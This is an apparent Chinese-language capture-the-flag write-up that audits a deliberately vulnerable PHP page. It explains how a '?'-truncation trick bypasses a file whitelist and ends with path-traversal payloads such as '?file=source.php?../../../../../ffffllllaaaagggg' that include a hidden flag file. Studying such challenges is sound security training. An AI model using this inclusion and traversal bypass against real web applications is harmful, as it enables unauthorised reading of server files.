首页只有一个笑脸,没有什么有效信息,
查看源代码发现,source.php。
访问source.php,显而易见,php代码审计。
<?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){ //设立白名单,source.php与hint.php$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//$page的值为file传入的值,如果$page没有值或者$page的值不为字符串则输出you can't see it。返回Flaseif (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}//如果$page的值在白名单中则返回Tureif (in_array($page, $whitelist)) {return true;}//下面的代码单独举例说明。$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}}//请求方法为REQUEST请求参数为file并且file的值为字符串,若是通过了emmm类中的checkFile方法则包含file上传值的文件。if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}
?>
//举例
//mb_strpos()函数,用于查找字符串中某个子字符串第一次出现位置的函数。
//如果找到了字符串,返回其第一次出现的位置(从 0 开始计数)。
//如果未找到子字符串,返回 false。
$str = "Hello, 你好";
$pos = mb_strpos($str, "你好");
if ($pos !== false) {echo "子字符串第一次出现的位置: $pos"; // 输出: 子字符串第一次出现的位置: 7
} else {echo "未找到子字符串";
}//mb_substr()用于提取多字节字符串的子字符串的函数
// 示例字符串
$str = "Hello, 你好";
// 从位置 7 开始提取,长度为 2
$substring = mb_substr($str, 7, 2);
echo $substring; // 输出: 你好
// 从位置 0 开始提取,直到末尾
$substring = mb_substr($str, 0);
echo $substring; // 输出: Hello, 你好
// 从倒数第 5 个字符开始提取
$substring = mb_substr($str, -5);
echo $substring; // 输出: 你好
//刨析代码!
$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));//mb_strpos($page . '?', '?')函数file的值,赋值给$page并且在其后拼接?【例如:file=flag,则$page=flag.php】最后返回第一个?出现的位置暂且令返回的值为index。//紧接着执行mb_substr($page,0,index)函数。此函数下从第0个位置提取字符直到第index的位置截至。//最后将提取出来的字符串赋值给$_page。如果$_page的值在白名单中则返回True。if (in_array($_page, $whitelist)) {return true;}//举例:若file= flag将flie的值传给$page=flagmb_strpos($page . '?', '?')此函数下拼接?在返回第一个问号出现的位置,$page=flag?返回的值为4。。mb_substr($page,0,4)提取$page中从0开的到第四个字符也就是flag。而flag不在白名单中,所以不会进入if (in_array($_page, $whitelist)) {return true; }
//这段代码与上面位唯一的区别在于对参数的值进行了url解码,并无其它区别。$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}echo "you can't see it";return false;}
wirteup:
跟据上面刨析代码时的例子,可以想到,此题的关键就是如何让下面的函数执行完毕后在白名单中。
mb_substr($_page,0,mb_strpos($_page . '?', '?'));
那只能利用本体给出的白名单source.php与hint.php绕过。?file=source.php?这样,mb_substr()函数返回的值为source.php在白名单中可以返回Ture。没有结束因为包含source.php毫无作用我们本来就可以访问它,这里只是借助白名单绕过。
访问hint.php,告诉我们flag的位置了,那就试着访问。
构造payload
?file=source.php?ffffllllaaaagggg
发现并没有回显,说明至少我们绕过了,没有值应该是没有访问到这个文件,说明ffffllllaaaagggg与source.php并不在一个目录下可能。就需要用到目录穿越。
?file=source.php?../ffffllllaaaagggg
?file=source.php?../../ffffllllaaaagggg
.
.
.
?file=source.php?../../../../../ffffllllaaaagggg
成功